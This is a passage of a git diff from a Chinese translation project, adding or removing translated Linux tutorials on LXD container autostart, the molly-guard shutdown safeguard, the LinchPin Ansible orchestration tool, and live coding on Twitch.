+[2]:http://www.reddit.com/submit?url=http://dockr.ly/2k6gnOB&title=Introducing%20Docker%20Secrets%20Management
+[3]:https://plus.google.com/share?url=http://dockr.ly/2k6gnOB
+[4]:http://news.ycombinator.com/submitlink?u=http://dockr.ly/2k6gnOB&t=Introducing%20Docker%20Secrets%20Management
+[5]:https://twitter.com/share?text=Get+safer+apps+for+dev+and+ops+w%2F+new+%23Docker+secrets+management+&via=docker&related=docker&url=http://dockr.ly/2k6gnOB
+[6]:https://twitter.com/share?text=Get+safer+apps+for+dev+and+ops+w%2F+new+%23Docker+secrets+management+&via=docker&related=docker&url=http://dockr.ly/2k6gnOB
+[7]:http://dockr.ly/AppSecurity
+[8]:https://www.docker.com/getdocker
+[9]:http://www.docker.com/trial
+[10]:https://docs.docker.com/engine/swarm/secrets/
+[11]:http://www.docker.com/webinars
+[12]:https://blog.docker.com/author/yingli/
+[13]:https://blog.docker.com/tag/container-security/
+[14]:https://blog.docker.com/tag/docker-security/
+[15]:https://blog.docker.com/tag/secrets-management/
+[16]:https://blog.docker.com/tag/security/
+[17]:https://docs.docker.com/engine/swarm/how-swarm-mode-works/pki/
+[18]:https://docs.docker.com/engine/swarm/secrets/
+[19]:https://lvh.io%29/
diff --git a/translated/tech/20170219 How to auto start LXD containers at boot time in Linux.md b/translated/tech/20170219 How to auto start LXD containers at boot time in Linux.md
new file mode 100644
index 0000000000..b6e5df86c4
--- /dev/null
+++ b/translated/tech/20170219 How to auto start LXD containers at boot time in Linux.md
@@ -0,0 +1,73 @@
+如何在 Linux 启动时自动启动 LXD 容器
+======
+我正在使用基于 LXD(“Linux 容器”)的虚拟机。如何在 Linux 系统中启动时自动启动 LXD 容器?
+
+你可以在 LXD 启动后启动容器。你需要将 boot.autostart 设置为 true。你可以使用 boot.autostart.priority(默认值为 0)选项来定义启动容器的顺序(从最高开始)。你也可以使用 boot.autostart.delay(默认值0)选项定义在启动一个容器后等待几秒后启动另一个容器。
+
+### 语法
+
+上面讨论的关键字可以使用 lxc 工具用下面的语法来设置:
+
+```
+$ lxc config set {vm-name} {key} {value}
+$ lxc config set {vm-name} boot.autostart {true|false}
+$ lxc config set {vm-name} boot.autostart.priority integer
+$ lxc config set {vm-name} boot.autostart.delay integer
+```
+
+### 如何在 Ubuntu Linux 16.10 中让 LXD 容器在启动时启动?
+
+输入以下命令:
+`$ lxc config set {vm-name} boot.autostart true`
+设置一个 LXD 容器名称 “nginx-vm” 以在启动时启动
+`$ lxc config set nginx-vm boot.autostart true`
+你可以使用以下语法验证设置:
+```
+$ lxc config get {vm-name} boot.autostart
+$ lxc config get nginx-vm boot.autostart
+```
+示例输出:
+```
+true
+```
+
+你可以使用下面的语法在启动容器后等待 10 秒钟后启动另一个容器:
+`$ lxc config set nginx-vm boot.autostart.delay 10`
+最后,通过设置最高值来定义启动容器的顺序。确保 db_vm 容器首先启动,然后再启动 nginx_vm。
+```
+$ lxc config set db_vm boot.autostart.priority 100
+$ lxc config set nginx_vm boot.autostart.priority 99
+```
+使用[下面的 bash 循环在 Linux 上查看所有][1]值:
+```
+#!/bin/bash
+echo 'The current values of each vm boot parameters:'
+for c in db_vm nginx_vm memcache_vm
+do
+ echo "*** VM: $c ***"
+ for v in boot.autostart boot.autostart.priority boot.autostart.delay
+ do
+ echo "Key: $v => $(lxc config get $c $v) "
+ done
+ echo ""
+done
+```
+
+
+示例输出:
+![Fig.01: Get autostarting LXD containers values using a bash shell script][2]
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.cyberciti.biz/faq/how-to-auto-start-lxd-containers-at-boot-time-in-linux/
+
+作者:[Vivek Gite][a]
+译者:[geekpi](https://github.com/geekpi)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.cyberciti.biz
+[1]:https://www.cyberciti.biz/faq/bash-for-loop/
+[2]:https://www.cyberciti.biz/media/new/faq/2017/02/Autostarting-LXD-containers-values.jpg
diff --git a/translated/tech/20170219 How to protects Linux and Unix machines from accidental shutdowns-reboots with molly-guard.md b/translated/tech/20170219 How to protects Linux and Unix machines from accidental shutdowns-reboots with molly-guard.md
new file mode 100644
index 0000000000..1b34c0a41b
--- /dev/null
+++ b/translated/tech/20170219 How to protects Linux and Unix machines from accidental shutdowns-reboots with molly-guard.md
@@ -0,0 +1,114 @@
+使用 molly-guard 保护你的 Linux/Unix 机器不会被错误地关机/重启
+======
+我去!又是这样。 我还以为我登录到家里的服务器呢。 结果 [重启的居然是数据库服务器 ][1]。 另外我也有时会在错误终端内输入 "[shutdown -h 0][2]" 命令。 我知道有些人 [经常会犯这个错误 ][3]。
+![我的愤怒无从容忍 ][4]
+有办法解决这个问题吗?我真的只能忍受这种随机重启和关机的痛苦吗? 虽说人总是要犯错的,但总不能一错再错吧。
+
+最新我在 tweet 上发了一通牢骚:
+
+> I seems to run into this stuff again and again :( Instead of typing:
+> sudo virsh reboot d1
+>
+> I just typed & rebooted my own box
+> sudo reboot d1
+>
+> -- nixCraft (@nixcraft) [February 19,2017][5]
+
+
+结果收到了一些建议。我们来试一下。
+
+### 向你引荐 molly guard
+
+Molly-Guard **尝试阻止你不小心关闭或重启 Linux 服务器**。它在 Debian/Ubuntu 中的包描述为:
+
+> The package installs a shell script that overrides the existing shutdown/reboot/halt/poweroff/coldreboot/pm-hibernate/pm-suspend* commands and first runs a set of scripts,which all have to exit successfully, before molly-guard invokes the real command。 One of the scripts checks for existing SSH sessions。 If any of the four commands are called interactively over an SSH session, the shell script prompts you to enter the name of the host you wish to shut down。 This should adequately prevent you from accidental shutdowns and reboots。
+
+貌似 [molly-guard][6] 还是个专有名词:
+
+> A shield to prevent tripping of some Big Red Switch by clumsy or ignorant hands。Originally used of the plexiglass covers improvised for the BRS on an IBM 4341 after a programmer's toddler daughter (named Molly) frobbed it twice in one day。 Later generalized to covers over stop/reset switches on disk drives and networking equipment。 In hardware catalogues, you'll see the much less interesting description "guarded button"。
+
+### 如何安装 molly guard
+
+使用 [apt-get command][7] 或者 [apt command][8] 来搜索并安装 molly-guard:
+```
+$ apt search molly-guard
+$ sudo apt-get install molly-guard
+```
+结果为:
+[![Fig.01: Installing molly guard on Linux][9]][10]
+
+### 测试一下
+
+输入 [reboot 命令 ][11] 和 shutdown 命令:
+```
+$ sudo reboot
+# reboot
+$ shutdown -h 0
+# sudo shutdown -h 0
+### running wrong command such as follows instead of
+### sudo virsh reboot vm_name_here
+$ sudo reboot vm_name_here
+```
+结果为:
+![Fig.02: Molly guard saved my butt ;\)][12]
+我超级喜欢 molly-guard。因此我将下行内容加入到 apt-debian-ubuntu-common.yml 文件中了:
+```
+ - apt:
+ name: molly-guard
+
+```
+
+是的。我使用 Ansible 在所有的 Debian 和 Ubuntu 服务器上都自动安装上它了。
+
+ **相关** : [My 10 UNIX Command Line Mistakes][13]
+
+### 如果我的 Linux 发行版或者 Unix 系统(比如 FreeBSD) 没有 molly-guard 怎么办呢?
+
+不用怕,[设置 shell 别名 ][14]:
+```
+## bash shell example ###
+alias reboot = "echo 'Are you sure?' If so, run /sbin/reboot"
+alias shutdown = "echo 'Are you sure?' If so, run /sbin/shutdown"
+```
+
+你也可以 [临时取消别名机制运行真正的命令 ][15]。比如要运行 reboot 可以这样:
+```
+# \reboot
+```
+或者
+```
+# /sbin/reboot
+```
+另外你也可以写一个 [shell/perl/python 脚本来调用这些命令并要求 ][16] 确认 reboot/halt/shutdown 的选项。
+
+
+--------------------------------------------------------------------------------
+
+via: https://www.cyberciti.biz/hardware/how-to-protects-linux-and-unix-machines-from-accidental-shutdownsreboots-with-molly-guard/
+
+作者:[Vivek Gite][a]
+译者:[lujun9972](https://github.com/lujun9972)
+校对:[校对者ID](https://github.com/校对者ID)
+
+本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
+
+[a]:https://www.cyberciti.biz
+[1]:https://www.cyberciti.biz/faq/howto-reboot-linux/
+[2]:https://www.cyberciti.biz/faq/shutdown-linux-server/
+[3]:https://www.cyberciti.biz/tips/my-10-unix-command-line-mistakes.html (My 10 UNIX Command Line Mistakes)
+[4]:https://www.cyberciti.biz/media/new/cms/2017/02/anger.gif
+[5]:https://twitter.com/nixcraft/status/833320792880320513
+[6]:http://catb.org/~esr/jargon/html/M/molly-guard.html
+[7]://www.cyberciti.biz/tips/linux-debian-package-management-cheat-sheet.html (See Linux/Unix apt-get command examples for more info)
+[8]://www.cyberciti.biz/faq/ubuntu-lts-debian-linux-apt-command-examples/ (See Linux/Unix apt command examples for more info)
+[9]:https://www.cyberciti.biz/media/new/cms/2017/02/install-molly-guard-on-linux.jpg
+[10]:https://www.cyberciti.biz/hardware/how-to-protects-linux-and-unix-machines-from-accidental-shutdownsreboots-with-molly-guard/attachment/install-molly-guard-on-linux/
+[11]:https://www.cyberciti.biz/faq/linux-reboot-command/ (See Linux/Unix reboot command examples for more info)
+[12]:https://www.cyberciti.biz/media/new/cms/2017/02/saved-my-butt.jpg
+[13]:https://www.cyberciti.biz/tips/my-10-unix-command-line-mistakes.html
+[14]:https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html
+[15]:https://www.cyberciti.biz/faq/bash-shell-temporarily-disable-an-alias/
+[16]:https://github.com/kjetilho/clumsy_protect
+[17]:https://twitter.com/nixcraft
+[18]:https://facebook.com/nixcraft
+[19]:https://plus.google.com/+CybercitiBiz
diff --git a/translated/tech/20170630 LinchPin A simplified cloud orchestration tool using Ansible.md b/translated/tech/20170630 LinchPin A simplified cloud orchestration tool using Ansible.md
deleted file mode 100644
index c3ed52fd19..0000000000
--- a/translated/tech/20170630 LinchPin A simplified cloud orchestration tool using Ansible.md
+++ /dev/null
@@ -1,393 +0,0 @@
-LinchPin:一个使用 Ansible 的简化的编排工具
-============================================================
-
-### 2016年开始的 LinchPin,现在已经拥有一个 Python API 和一个成长中的社区。
-
-
-
->Image by : [Internet Archive Book Images][10]. Modified by Opensource.com. CC BY-SA 4.0
-
-过去的一年里,[我的团队公布了][11] [LinchPin][12],一个使用 Ansible 的混合[云][13]编排工具。准备云资源从来没有这么容易或更快。Ansible 强力支持的 LinchPin,专注于简化,在用户指尖下,将有更多的可用云资源。在这篇文章中,我将介绍 LinchPin,并且去看看过去的 10 个月,有多少成熟的项目。
-
-LinchPin 刚被引入的时候,使用 **ansible-playbook** 命令去运行 LinchPin ,虽然可以完成,但是还是很复杂的,LinchPin 现在有一个前端命令行用户界面(CLI),它是在 [Click][14] 中写的,而且它使 LinchPin 比以前更简单。
-
-探索开源云
-
-* [云是什么?][1]
-
-* [OpenStack 是什么?][2]
-
-* [Kubernetes 是什么?][3]
-
-* [为什么操作系统对容器很重要?][4]
-
-* [保持 Linux 容器的安全][5]
-
-为了不落后于 CLI,LinchPin 现在也有一个 [Python][15] API,它可以被用于管理资源,比如,Amazon EC2 和 OpenStack 实例、网络、存储、安全组、等等。这个 API [文档][16] 可以在你想去尝试 LinchPin 的 Python API 时帮助你。
-
-### Playbooks 作为一个库
-
-因为 LinchPin 的核心 bits 是 [Ansible playbooks][17]、角色、模块、过滤器,以及任何被称为 Ansible 模块的东西都被移进 LinchPin 库中,这意味着我们可以直接调用 playbooks,但它不是资源管理的首选机制。**linchpin** 可执行文件已经成为命令行的事实上的前端。
-
-### 深入了解命令行
-
-让我们深入了解**linchpin**命令行:
-
-```
-$ linchpin
-Usage: linchpin [OPTIONS] COMMAND [ARGS]...
-
- linchpin: hybrid cloud orchestration
-
-Options:
- -c, --config PATH Path to config file
- -w, --workspace PATH Use the specified workspace if the familiar Jenkins
- $WORKSPACE environment variable is not set
- -v, --verbose Enable verbose output
- --version Prints the version and exits
- --creds-path PATH Use the specified credentials path if WORKSPACE
- environment variable is not set
- -h, --help Show this message and exit.
-
-Commands:
- init Initializes a linchpin project.
- up Provisions nodes from the given target(s) in...
- destroy Destroys nodes from the given target(s) in...
-```
-
-你可以立即看到一个简单的描述,以及命令的选项和参数。这个帮助的最下面的三个命令是本文的重点内容。
-
-### 配置
-
-以前,有个名为 **linchpin_config.yml** 的文件。现在这个文件没有了,替换它的是一个 ini 形式的配置文件,称为 **linchpin.conf**。虽然这个文件可以被修改或放到别的地方,它可以放置在配置文件容易找到的库的路径中。在多数情况下,**linchpin.conf** 文件是不需要去修改的。
-
-### 工作空间
-
-工作空间是一个定义的文件系统路径,它是一个逻辑上的资源组。一个工作空间可以认为是一个特定环境、服务组、或其它逻辑组的一个单个点。它也可以是一个所有可管理资源的大的存储容器。
-
-工作空间在命令行上使用 **--workspace (-w)** 选项去指定,随后是工作空间路径。它也可以使用环境变量(比如,bash 中的 **$WORKSPACE**)指定。默认工作空间是当前目录。
-
-### 初始化 (init)
-
-运行 **linchpin init** 将生成一个需要的目录结构,以及一个 **PinFile**、**topology**、和 **layout** 文件的示例:
-
-```
-$ export WORKSPACE=/tmp/workspace
-$ linchpin init
-PinFile and file structure created at /tmp/workspace
-$ cd /tmp/workspace/
-$ tree
-.
-├── credentials
-├── hooks
-├── inventories
-├── layouts
-│ └── example-layout.yml
-├── PinFile
-├── resources
-└── topologies
- └── example-topology.yml
-```
-
-在这个时候,一个可执行的 **linchpin up** 并且提供一个 **libvirt** 虚拟机,和一个名为 **linchpin-centos71** 的网络。一个库存(inventory)将被生成,并被放在 **inventories/libvirt.inventory** 目录中。它可以通过读取 **topologies/example-topology.yml** 和收集 **topology_name** 的值了解它。
-
-### 做好准备 (linchpin up)
-
-一旦有了一个 PinFile、拓扑、和一个可选的布局,它已经做好了准备。
-
-我们使用 dummy 工具,因为用它去配置非常简单;它不需要任何额外的东西(认证、网络、等等)。dummy 提供创建一个临时文件,它表示配置的主机。如果临时文件没有任何数据,说明主机没有被配置,或者它已经被销毁了。
-
-dummy 提供的树像这样:
-
-```
-$ tree
-.
-├── hooks
-├── inventories
-├── layouts
-│ └── dummy-layout.yml
-├── PinFile
-├── resources
-└── topologies
- └── dummy-cluster.yml
-```
-
-PinFile 也很简单;它指定了它的拓扑,并且可以为 **dummy1** 目标提供一个可选的布局:
-
-```
----
-dummy1:
- topology: dummy-cluster.yml
- layout: dummy-layout.yml
-```
-
-**dummy-cluster.yml** 拓扑文件是一个引用到提供的三个 **dummy_node** 类型的资源:
-
-```
----
-topology_name: "dummy_cluster" # topology name
-resource_groups:
- -
- resource_group_name: "dummy"
- resource_group_type: "dummy"
- resource_definitions:
- -
- name: "web"
- type: "dummy_node"
- count: 3
-```
-
-执行命令 **linchpin up** 将基于上面的 **topology_name**(在这个案例中是 **dummy_cluster**)生成 **resources** 和 **inventory** 文件。
-
-```
-$ linchpin up
-target: dummy1, action: up
-
-$ ls {resources,inventories}/dummy*
-inventories/dummy_cluster.inventory resources/dummy_cluster.output
-```
-
-去验证 dummy 集群的资源,检查 **/tmp/dummy.hosts**:
-
-```
-$ cat /tmp/dummy.hosts
-web-0.example.net
-web-1.example.net
-web-2.example.net
-```
-
-Dummy 模块为假定的(或 dummy)供应提供了一个基本工具。OpenStack、AWS EC2、Google Cloud、和更多的关于 LinchPin 的详细情况,可以去看[示例][18]。
-
-### 库存(Inventory)生成
-
-作为上面提到的 PinFile 的一部分,可以指定一个 **layout**。如果这个文件被指定,并且放在一个正确的位置上,一个用于提供资源的 Ansible 的静态库存(inventory)文件将被自动生成:
-
-```
----
-inventory_layout:
- vars:
- hostname: __IP__
- hosts:
- example-node:
- count: 3
- host_groups:
- - example
-```
-
-当 **linchpin up** 运行完成,资源文件将提供一个很有用的详细信息。特别是,插入到静态库存(inventory)的 IP 地址或主机名:
-
-```
-[example]
-web-2.example.net hostname=web-2.example.net
-web-1.example.net hostname=web-1.example.net
-web-0.example.net hostname=web-0.example.net
-
-[all]
-web-2.example.net hostname=web-2.example.net
-web-1.example.net hostname=web-1.example.net
-web-0.example.net hostname=web-0.example.net
-```
-
-### 卸载 (linchpin destroy)
-
-LinchPin 也可以执行一个资源卸载。一个卸载动作一般认为资源是已经配置好的;然而,因为 Ansible 是幂等的(idempotent),**linchpin destroy** 将仅去检查确认资源是启用的。如果这个资源已经是启用的,它将去卸载它。
-
-命令 **linchpin destroy** 也将使用资源和/或拓扑文件去决定合适的卸载过程。
-
-**dummy** Ansible 角色不使用资源,卸载期间仅有拓扑:
-
-```
-$ linchpin destroy
-target: dummy1, action: destroy
-
-$ cat /tmp/dummy.hosts
--- EMPTY FILE --
-```
-
-在暂时的资源上,卸载功能有一些限制,像网络、存储、等等。网络资源被用于多个云实例是可能的。在这种情况下,执行一个 **linchpin destroy** 不能卸载某些资源。这取决于每个供应商的实现。查看每个[供应商][19]的具体实现。
-
-### LinchPin 的 Python API
-
-在 **linchpin** 命令行中实现的功能大多数已经被写成了 Python API。这个 API,虽然不完整,但它已经成为 LinchPin 工具的至关重要的组件。
-
-这个 API 由下面的三个包组成:
-
-* **linchpin**
-
-* **linchpin.cli**
-
-* **linchpin.api**
-
-这个命令行工具是基于 **linchpin** 包来管理的。它导入了 **linchpin.cli** 模块和类,它是 **linchpin.api** 的子类。它的目的是为了允许使用 **linchpin.api** 的 LinchPin 的可能的其它实现,比如像计划的 RESTful API。
-
-更多信息,去查看 [Python API library documentation on Read the Docs][20]。
-
-### Hooks
-
-LinchPin 1.0 的其中一个大的变化是转向 hooks。hooks 的目标是在 **linchpin** 运行期间,允许配置使用外部资源。目前情况如下:
-
-* **preup**: 在准备拓扑资源之前运行
-
-* **postup**: 在准备拓扑资源之后运行,并且生成可选的库存(inventory)
-
-* **predestroy**: 卸载拓扑资源之前运行
-
-* **postdestroy**: 卸载拓扑资源之后运行
-
-在每种情况下,这些 hooks 允许去运行外部脚本。存在几种类型的 hooks,包括一个定制的叫做 _Action Managers_。这是一个内置的动作管理的列表:
-
-* **shell**: 允许任何的内联(inline)shell 命令,或者一个可运行的 shell 脚本
-
-* **python**: 运行一个 Python 脚本
-
-* **ansible**: 运行一个 Ansible playbook,允许通过一个 **vars_file** 和 **extra_vars** 表示为一个 Python 字典
-
-* **nodejs**: 运行一个 Node.js 脚本
-
-* **ruby**: 运行一个 Ruby 脚本
-
-一个 hook 是绑定到一个特定的目标,并且每个目标使用时必须重新声明。将来,hooks 将可能是全局的,然后它们在每个目标的 **hooks** 节更简单地进行命名。
-
-### 使用 hooks
-
-描述 hooks 是非常简单的,理解它们强大的功能却并不简单。这个特性的存在是为了给用户提供灵活的功能,而这些功能开发着可能并不会去考虑。对于实例,在运行其它的 hook 之前,这个概念可能会带来一个简单的方式去 ping 一套系统。
-
-更仔细地去研究 _工作空间_ ,你可能会注意到 **hooks** 目录,让我们看一下这个目录的结构:
-
-```
-$ tree hooks/
-hooks/
-├── ansible
-│ ├── ping
-│ │ └── dummy_ping.yaml
-└── shell
- └── database
- ├── init_db.sh
- └── setup_db.sh
-```
-
-在任何情况下,hooks 都可以在 **PinFile** 中使用,展示如下:
-
-```
----
-dummy1:
- topology: dummy-cluster.yml
- layout: dummy-layout.yml
- hooks:
- postup:
- - name: ping
- type: ansible
- actions:
- - dummy_ping.yaml
- - name: database
- type: shell
- actions:
- - setup_db.sh
- - init_db.sh
-```
-
-那是基本概念,这里有三个 postup 动作去完成。Hooks 是从上到下运行的,因此,Ansible **ping** 任务将首先运行,紧接着是两个 shell 任务, **setup_db.sh** 和 **init_db.sh**。假设 hooks 运行成功。将发生一个系统的 ping,然后,一个数据库被安装和初始化。
-
-### 认证的驱动程序
-
-在 LinchPin 的最初设计中,开发者决定去在 Ansible playbooks 中管理认证;然而,移到更多的 API 和命令行驱动的工具后,意味着认证将被置于 playbooks 库之外,并且还可以根据需要去传递认证值。
-
-### 配置
-
-让用户使用驱动程序提供的认证方法去完成这个任务。对于实例,如果对于 OpenStack 调用的拓扑,标准方法是可以使用一个 yaml 文件,或者类似于 **OS_** 前缀的环境变量。一个 clouds.yaml 文件是一个 profile 文件的组成部分,它有一个 **auth** 节:
-
-```
-clouds:
- default:
- auth:
- auth_url: http://stack.example.com:5000/v2.0/
- project_name: factory2
- username: factory-user
- password: password-is-not-a-good-password
-```
-
-更多详细信息在 [OpenStack documentation][21]。
-
-这个 clouds.yaml 或者在位于 **default_credentials_path** (比如,~/.config/linchpin)中和拓扑中引用的任何其它认证文件:
-
-```
----
-topology_name: openstack-test
-resource_groups:
- -
- resource_group_name: linchpin
- resource_group_type: openstack
- resource_definitions:
- - name: resource
- type: os_server
- flavor: m1.small
- image: rhel-7.2-server-x86_64-released
- count: 1
- keypair: test-key
- networks:
- - test-net2
- fip_pool: 10.0.72.0/24
- credentials:
- filename: clouds.yaml
- profile: default
-```
-
-**default_credentials_path** 可以通过修改 **linchpin.conf** 被改变。
-
-拓扑在底部包含一个新的 **credentials** 节。使用 **openstack**、**ec2**、和 **gcloud** 模块,也可以去指定类似的凭据。认证驱动程序将查看给定的 _名为_ **clouds.yaml** 的文件,并搜索名为 **default** 的 _配置_。
-
-假设认证被找到并被加载,准备将正常继续。
-
-### 简化
-
-虽然 LinchPin 可以完成复杂的拓扑、库存布局、hooks、和认证管理,但是,终极目标是简化。通过使用一个命令行界面的简化,除了提升已经完成的 1.0 版的开发者体验外,LinchPin 将持续去展示复杂的配置可以很简单地去管理。
-
-### 社区的成长
-
-在过去的一年中,LinchPin 的社区现在已经有了 [邮件列表][22]和一个 IRC 频道(#linchpin on chat.freenode.net,而且在 [GitHub][23] 中我们很努力地管理它。
-
-在过去的一年里,社区成员已经从 2 位核心开发者增加到大约 10 位贡献者。更多的人持续参与到项目中。如果你对 LinchPin 感兴趣,可以给我们写信、在 GitHub 上提问,加入 IRC,或者给我们发邮件。
-
- _这篇文章是基于 Clint Savage 在 OpenWest 上的演讲 [Introducing LinchPin: Hybrid cloud provisioning using Ansible][7] 整理的。[OpenWest][8] 将在 2017 年 7 月 12-15 日在盐城湖市举行。_
-
---------------------------------------------------------------------------------
-
-作者简介:
-
-Clint Savage - 工作于 Red Hat 是一位负责原子项目(Project Atomic)的高级软件工程师。他的工作是为 Fedora、CentOS、和 Red Hat Enterprise Linux(RHEL)提供自动原子服务器构建。
-
--------------
-
-via: https://opensource.com/article/17/6/linchpin
-
-作者:[Clint Savage][a]
-译者:[qhwdw](https://github.com/qhwdw)
-校对:[校对者ID](https://github.com/校对者ID)
-
-本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
-
-[a]:https://opensource.com/users/herlo
-[1]:https://opensource.com/resources/cloud?src=cloud_resource_menu1
-[2]:https://opensource.com/resources/what-is-openstack?src=cloud_resource_menu2
-[3]:https://opensource.com/resources/what-is-kubernetes?src=cloud_resource_menu3
-[4]:https://opensource.com/16/12/yearbook-why-operating-system-matters?src=cloud_resource_menu4
-[5]:https://opensource.com/business/16/10/interview-andy-cathrow-anchore?src=cloud_resource_menu5
-[6]:https://opensource.com/article/17/6/linchpin?rate=yx4feHOc5Kf9gaZe5S4MoVAmf9mgtociUimJKAYgwZs
-[7]:https://www.openwest.org/custom/description.php?id=166
-[8]:https://www.openwest.org/
-[9]:https://opensource.com/user/145261/feed
-[10]:https://www.flickr.com/photos/internetarchivebookimages/14587478927/in/photolist-oe2Gwy-otuvuy-otus3U-otuuh3-ovwtoH-oe2AXD-otutEw-ovwpd8-oe2Me9-ovf688-oxhaVa-oe2mNh-oe3AN6-ovuyL7-ovf9Kt-oe2m4G-ovwqsH-ovjfJY-ovjfrU-oe2rAU-otuuBw-oe3Dgn-oe2JHY-ovfcrF-oe2Ns1-ovjh2N-oe3AmK-otuwP7-ovwrHt-ovwmpH-ovf892-ovfbsr-ovuAzN-ovf3qp-ovuFcJ-oe2T3U-ovwn8r-oe2L3T-oe3ELr-oe2Dmr-ovuyB9-ovuA9s-otuvPG-oturHA-ovuDAh-ovwkV6-ovf5Yv-ovuCC5-ovfc2x-oxhf1V
-[11]:http://sexysexypenguins.com/posts/introducing-linch-pin/
-[12]:http://linch-pin.readthedocs.io/en/develop/
-[13]:https://opensource.com/resources/cloud
-[14]:http://click.pocoo.org/
-[15]:https://opensource.com/resources/python
-[16]:http://linchpin.readthedocs.io/en/develop/libdocs.html
-[17]:http://docs.ansible.com/ansible/playbooks.html
-[18]:https://github.com/CentOS-PaaS-SIG/linchpin/tree/develop/linchpin/examples/topologies
-[19]:https://github.com/CentOS-PaaS-SIG/linch-pin/tree/develop/linchpin/provision/roles
-[20]:http://linchpin.readthedocs.io/en/develop/libdocs.html
-[21]:https://docs.openstack.org/developer/python-openstackclient/configuration.html
-[22]:https://www.redhat.com/mailman/listinfo/linchpin
-[23]:https://github.com/CentOS-PaaS-SIG/linch-pin/projects/4
-[24]:https://opensource.com/users/herlo
diff --git a/translated/tech/20170707 Lessons from my first year of live coding on Twitch.md b/translated/tech/20170707 Lessons from my first year of live coding on Twitch.md
new file mode 100644
index 0000000000..7a2f0aa98a
--- /dev/null
+++ b/translated/tech/20170707 Lessons from my first year of live coding on Twitch.md
@@ -0,0 +1,161 @@
+我在 Twitch 平台直播编程的第一年
+============================================================
+去年 7 月我进行了第一次直播。不像大多数人那样在 Twitch 上进行游戏直播,我想直播的内容是我利用个人时间进行的开源工作。我对 NodeJS 硬件库有一定的研究(其中大部分是靠我自学的)。考虑到我已经在 Twitch 上有了一个直播间,为什么不再建一个更小更专业的直播间,比如使用 JavaScript 驱动硬件 来建立直播间 :) 我注册了 [我自己的频道][1] ,从那以后我就开始定期直播。
+
+我当然不是第一个这么做的人。[Handmade Hero][2] 是我最早看到的几个在线直播编程的程序员之一。很快这种直播方式被 Vlambeer 发扬光大,他在 Twitch 的 [Nuclear Throne live][3] 直播间进行直播。我对 Vlambeer 尤其着迷。
+
+我的朋友 [Nolan Lawson][4] 让我 _真正开始做_ 这件事,而不只是单纯地 _想要做_ 。我看了他 [在周末直播开源工作][5] ,做得棒极了。他解释了他当时做的每一件事。每一件事。回复 GitHub 上的 问题 ,鉴别 bug ,在 分支 中调试程序,你知道的。这令我着迷,因为 Nolan 使他的开源库得到了广泛的使用。他的开源生活和我的完全不一样。
+
+你甚至可以看到我在他视频下的评论:
+
+
+
+我大约在一周或更久之后建好了自己的 Twitch 频道,并摸清了 OBS 的使用方法,随后开始了自己的直播。我当时用的是 [Avrgirl-Arduino][6] ,现在我依然经常用它直播。第一次直播十分粗糙。我前一天晚上排练得很晚,但直播时我依然很紧张。
+
+那个星期六我极少的几个听众给了我很大的鼓舞,因此我坚持了下去。现在我有了超过一千个听众,他们中的一些人形成了一个可爱的小团体,他们会定期观看我的直播,我称呼他们为 “noopkat 家庭” 。
+
+我们很开心。我想称呼这个即时编程部分为“多玩家在线组队编程”。我真的被他们每个人的热情和才能触动了。一次,一个团体成员指出我的 Arduino 开发板没有连接上软件,因为板子上的芯片丢了。这真是最有趣的时刻之一。
+
+我经常暂停直播,检查我的收件箱,看看有没有人对我提过的,不再有时间完成的工作发起 拉取请求 。感谢我 Twitch 社区对我的帮助和鼓励。
+
+我很想聊聊 Twitch 直播给我带来的好处,但它的内容太多了,我应该会在我下一个博客里介绍。我在这里想要分享的,是我学习的关于如何自己实现直播编程的课程。最近几个开发者问我怎么开始自己的直播,因此我在这里想大家展示我给他们的建议!
+
+首先,我在这里贴出一个给过我很大帮助的教程 [“Streaming and Finding Success on Twitch”][7] 。它专注于 Twitch 与游戏直播,但也有很多和我们要做的东西相关的部分。我建议首先阅读这个教程,然后再考虑一些建立直播频道的细节(比如如何选择设备和软件)。
+
+下面我列出我自己的配置。这些配置是从我多次的错误经验中总结出来的,其中要感谢我的直播同行的智慧与建议(对,你们知道就是你们!)。
+
+### 软件
+
+有很多免费的直播软件。我用的是 [Open Broadcaster Software (OBS)][8] 。它适用于大多数的平台。我觉得它十分直观且易于入门,但掌握其他的进阶功能则需要一段时间的学习。学好它你会获得很多好处!这是今天我直播时 OBS 的桌面截图(点击查看大图):
+
+
+
+你直播时需要在不用的“场景”中进行切换。一个“场景”是多个“素材”通过堆叠和组合产生的集合。一个“素材”可以是照相机,麦克风,你的桌面,网页,动态文本,图片等等。 OBS 是一个很强大的软件。
+
+最上方的桌面场景是我编程的环境,我直播的时候主要停留在这里。我使用 iTerm 和 vim ,同时打开一个可以切换的浏览器窗口来查阅文献或在 GitHub 上分类检索资料。
+
+底部的黑色长方形是我的网络摄像头,人们可以通过这种个人化的连接方式来观看我工作。
+
+我的场景中有一些“标签”,很多都与状态或者顶栏信息有关。顶栏只是添加了个性化信息,它在直播时是一个很好的连续性素材。这是我在 [GIMP][9] 里制作的图片,在你的场景里它会作为一个素材来加载。一些标签是从文本文件里添加的动态内容(例如最新粉丝)。另一个标签是一个 [custom one I made][10] ,它可以展示我直播的房间的动态温度与湿度。
+
+我还在我的场景里设置了“闹钟”,当有人粉了我或者给了打赏,它会显示在最前方。我使用 [Stream Labs][11] 网络服务来实现它,将它作为一个浏览器网页素材引进我的场景。 Stream Labs 也会在顶栏里给出我最新粉丝的动态信息。
+
+我直播的时候,也会使用一个备用场景:
+
+
+
+当我输入密码和 API keys 的时候,我另外需要一个场景。它会在网络摄像头里展示我,但是将我的桌面用一个娱乐页面隐藏起来,这样我可以做一些私密的工作:
+
+
+
+正如你看到的,我直播的时候没有把窗口填的太满,但我让我的观众尽可能多地看到我的内容。
+
+但现在有一个现实的秘密:我使用 OBS 来安排我屏幕的底部和右侧,同时视频保持了 Twitch 要求的长宽比。这让我有了空间在底部查看我的事件(订阅数等),同时在右侧观看和回复我的频道聊天室。 Twitch 允许新窗口“弹出”聊天室,这很有用。
+
+这是我完整的桌面看起来的样子:
+
+
+
